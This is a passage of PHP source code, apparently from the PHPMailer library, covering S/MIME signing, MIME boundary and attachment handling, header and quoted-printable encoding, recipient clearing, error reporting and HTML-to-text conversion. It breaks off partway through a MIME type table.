                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
